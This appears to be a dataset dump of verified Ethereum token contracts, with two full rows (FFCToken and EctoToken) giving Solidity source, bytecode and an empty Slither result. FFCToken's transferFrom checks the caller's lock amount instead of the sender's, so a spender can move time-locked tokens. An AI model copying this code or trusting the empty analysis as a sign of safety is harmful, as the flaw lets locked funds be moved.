address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xaf97e7bf84ee0ddca7070c2a600484e9f21c4024
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value)public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender)public constant returns (uint256); function transferFrom(address from, address to, uint256 value)public returns (bool); function approve(address spender, uint256 value)public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause()public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value)public returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value)public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title FFC Token * @dev FFC is PausableToken */ contract FFCToken is StandardToken, Pausable { string public constant name = "FFC"; string public constant symbol = "FFC"; uint256 public constant decimals = 18; // lock struct LockToken{ uint256 amount; uint32 time; } struct LockTokenSet{ LockToken[] lockList; } mapping ( address => LockTokenSet ) addressTimeLock; mapping ( address => bool ) lockAdminList; event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint256 lockValue,uint32 lockTime ); /** * @dev Creates a new MPKToken instance */ constructor() public { totalSupply = 10 * (10 ** 8) * (10 ** 18); balances[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) { assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value ); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) { assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value ); return super.transferFrom(_from, _to, _value); } function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) { uint256 lockAmount = 0; for( uint32 i = 0; i < addressTimeLock[myaddress].lockList.length; i ++ ){ if( addressTimeLock[myaddress].lockList[i].time > now ){ lockAmount += addressTimeLock[myaddress].lockList[i].amount; } } return lockAmount; } function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){ return addressTimeLock[myaddress].lockList.length; } function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){ if( idx >= addressTimeLock[myaddress].lockList.length ){ return (0,0); } lockAmount = addressTimeLock[myaddress].lockList[idx].amount; lockTime = addressTimeLock[myaddress].lockList[idx].time; return ( lockAmount,lockTime ); } function transferWithLock( address _to, uint256 _value,uint256 _lockValue,uint32 _lockTime )public whenNotPaused { if( lockAdminList[msg.sender] != true ){ return; } assert( _lockTime > now ); assert( _lockValue > 0 && _lockValue <= _value ); transfer( _to, _value ); bool needNewLock = true; for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){ if( addressTimeLock[_to].lockList[i].time < now ){ addressTimeLock[_to].lockList[i].time = _lockTime; addressTimeLock[_to].lockList[i].amount = _lockValue; emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime ); needNewLock = false; break; } } if( needNewLock == true ){ // add a lock addressTimeLock[_to].lockList.length ++ ; addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime; addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _lockValue; emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime); } } function setLockAdmin(address _to,bool canUse)public onlyOwner{ lockAdminList[_to] = canUse; } function canUseLock() public view returns (bool){ return lockAdminList[msg.sender]; } }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d85780631f49caac146101ff57806323b872dd14610214578063313ce5671461023e578063399d6465146102535780633f4ba83a1461027457806356f2f140146102895780635c975abb146102aa57806366e72baa146102bf5780636e53909a146102f157806370a08231146103175780638456cb59146103385780638da5cb5b1461034d57806395d89b4114610116578063a9059cbb1461037e578063bb6e85db146103a2578063dd62ed3e146103ea578063f2fde38b14610411575b600080fd5b34801561012257600080fd5b5061012b610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610469565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed61050b565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4610511565b34801561022057600080fd5b506101c4600160a060020a0360043581169060243516604435610528565b34801561024a57600080fd5b506101ed61058f565b34801561025f57600080fd5b506101ed600160a060020a0360043516610594565b34801561028057600080fd5b506101c461065c565b34801561029557600080fd5b506101ed600160a060020a03600435166106db565b3480156102b657600080fd5b506101c46106f6565b3480156102cb57600080fd5b506102ef600160a060020a036004351660243560443563ffffffff60643516610706565b005b3480156102fd57600080fd5b506102ef600160a060020a03600435166024351515610a05565b34801561032357600080fd5b506101ed600160a060020a0360043516610a47565b34801561034457600080fd5b506101c4610a62565b34801561035957600080fd5b50610362610ae6565b60408051600160a060020a039092168252519081900360200190f35b34801561038a57600080fd5b506101c4600160a060020a0360043516602435610af5565b3480156103ae57600080fd5b506103cc600160a060020a036004351663ffffffff60243516610b51565b6040805192835263ffffffff90911660208301528051918290030190f35b3480156103f657600080fd5b506101ed600160a060020a0360043581169060243516610c10565b34801561041d57600080fd5b506102ef600160a060020a0360043516610c3b565b60408051808201909152600381527f4646430000000000000000000000000000000000000000000000000000000000602082015281565b60008115806104995750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156104a457600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b3360009081526005602052604090205460ff165b90565b60035460009060a060020a900460ff161561054257600080fd5b8161057461054f33610594565b600160a060020a0387166000908152600160205260409020549063ffffffff610cd016565b101561057c57fe5b610587848484610ce2565b949350505050565b601281565b600080805b600160a060020a03841660009081526004602052604090205463ffffffff8216101561065557600160a060020a0384166000908152600460205260409020805442919063ffffffff84169081106105ec57fe5b600091825260209091206001600290920201015463ffffffff16111561064d57600160a060020a0384166000908152600460205260409020805463ffffffff831690811061063657fe5b906000526020600020906002020160000154820191505b600101610599565b5092915050565b600354600090600160a060020a0316331461067657600080fd5b60035460a060020a900460ff16151561068e57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b600160a060020a031660009081526004602052604090205490565b60035460a060020a900460ff1681565b600354600090819060a060020a900460ff161561072257600080fd5b3360009081526005602052604090205460ff161515600114610743576109fd565b4263ffffffff84161161075257fe5b6000841180156107625750848411155b151561076a57fe5b6107748686610af5565b5060019150600090505b600160a060020a03861660009081526004602052604090205463ffffffff821610156108e157600160a060020a0386166000908152600460205260409020805442919063ffffffff84169081106107d157fe5b600091825260209091206001600290920201015463ffffffff1610156108d957600160a060020a0386166000908152600460205260409020805484919063ffffffff841690811061081e57fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff948516179055600160a060020a0389168252600490526040902080548692841690811061086b57fe5b6000918252602091829020600290910201919091556040805187815291820186905263ffffffff85168282015251600160a060020a0388169133917f3ed6ece0c48147e5b4c6717f58c7f210f86815397761c18a9c546e77d1b781f69181900360600190a3600091506108e1565b60010161077e565b600182151514156109fd57600160a060020a03861660009081526004602052604090208054906109149060018301610eb0565b50600160a060020a03861660009081526004602052604090208054849190600019810190811061094057fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff9490941693909317909255600160a060020a03881681526004909152604090208054859190600019810190811061099757fe5b6000918252602091829020600290910201919091556040805187815291820186905263ffffffff85168282015251600160a060020a0388169133917f3ed6ece0c48147e5b4c6717f58c7f210f86815397761c18a9c546e77d1b781f69181900360600190a35b505050505050565b600354600160a060020a03163314610a1c57600080fd5b600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a03163314610a7c57600080fd5b60035460a060020a900460ff1615610a9357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b60035460009060a060020a900460ff1615610b0f57600080fd5b81610b38610b1c33610594565b336000908152600160205260409020549063ffffffff610cd016565b1015610b4057fe5b610b4a8383610df1565b9392505050565b600160a060020a038216600090815260046020526040812054819063ffffffff841610610b8357506000905080610c09565b600160a060020a0384166000908152600460205260409020805463ffffffff8516908110610bad57fe5b60009182526020808320600290920290910154600160a060020a03871683526004909152604090912080549193509063ffffffff8516908110610bec57fe5b600091825260209091206001600290920201015463ffffffff1690505b9250929050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610c5257600080fd5b600160a060020a0381161515610c6757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cdc57fe5b50900390565b600160a060020a03808416600090815260026020908152604080832033845282528083205493861683526001909152812054909190610d27908463ffffffff610ea116565b600160a060020a038086166000908152600160205260408082209390935590871681522054610d5c908463ffffffff610cd016565b600160a060020a038616600090815260016020526040902055610d85818463ffffffff610cd016565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b33600090815260016020526040812054610e11908363ffffffff610cd016565b3360009081526001602052604080822092909255600160a060020a03851681522054610e43908363ffffffff610ea116565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600082820183811015610b4a57fe5b815481835581811115610edc57600202816002028360005260206000209182019101610edc9190610ee1565b505050565b61052591905b80821115610f0a576000815560018101805463ffffffff19169055600201610ee7565b50905600a165627a7a72305820df090d41ef30ad649219ca3c79c539818a6121ee1dd3ea3bc622f6b74e34b2dc0029
{"success": true, "error": null, "results": {}}
1,200
0x5b99c09090afe5f64b146c19ebf71dd1457917e4
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/PausableTokenWithExceptions.sol contract PausableTokenWithExceptions is PausableToken { mapping(address => bool) public exceptions; modifier whenNotPaused() { require(!paused || exceptions[msg.sender]); _; } function addExceptions(address[] _exceptions) onlyOwner public { uint256 i = 0; for (i; i < _exceptions.length; i++) exceptions[_exceptions[i]] = true; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } // File: contracts/EctoToken.sol contract EctoToken is StandardBurnableToken, PausableTokenWithExceptions { string public constant name = "Ecto Token"; string public constant symbol = "Ecto"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 150000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd146102225780631df6bb201461024d57806323b872dd146102a85780632ff2e9dc1461032d578063313ce567146103585780633f4ba83a1461038957806342966c68146103a05780635c975abb146103cd57806366188463146103fc57806370a0823114610461578063715018a6146104b857806379cc6790146104cf5780638456cb591461051c5780638da5cb5b1461053357806395d89b411461058a578063a9059cbb1461061a578063cd3273981461067f578063d73dd623146106e5578063dd62ed3e1461074a578063f2fde38b146107c1575b600080fd5b34801561013957600080fd5b50610142610804565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b506102376108c1565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b5061028e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108cb565b604051808215151515815260200191505060405180910390f35b3480156102b457600080fd5b50610313600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108eb565b604051808215151515815260200191505060405180910390f35b34801561033957600080fd5b50610342610971565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b5061036d610982565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039557600080fd5b5061039e610987565b005b3480156103ac57600080fd5b506103cb60048036038101908080359060200190929190505050610a47565b005b3480156103d957600080fd5b506103e2610a54565b604051808215151515815260200191505060405180910390f35b34801561040857600080fd5b50610447600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b604051808215151515815260200191505060405180910390f35b34801561046d57600080fd5b506104a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aeb565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b506104cd610b33565b005b3480156104db57600080fd5b5061051a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c38565b005b34801561052857600080fd5b50610531610de0565b005b34801561053f57600080fd5b50610548610ef5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059657600080fd5b5061059f610f1b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105df5780820151818401526020810190506105c4565b50505050905090810190601f16801561060c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561062657600080fd5b50610665600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f54565b604051808215151515815260200191505060405180910390f35b34801561068b57600080fd5b506106e360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610fd8565b005b3480156106f157600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c4565b604051808215151515815260200191505060405180910390f35b34801561075657600080fd5b506107ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611148565b6040518082815260200191505060405180910390f35b3480156107cd57600080fd5b50610802600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111cf565b005b6040805190810160405280600a81526020017f4563746f20546f6b656e0000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615806108a45750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156108af57600080fd5b6108b98383611237565b905092915050565b6000600154905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600360149054906101000a900460ff1615806109525750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561095d57600080fd5b610968848484611329565b90509392505050565b601260ff16600a0a6308f0d1800281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e357600080fd5b600360149054906101000a900460ff1615156109fe57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b610a5133826116e3565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff161580610ace5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610ad957600080fd5b610ae38383611896565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffff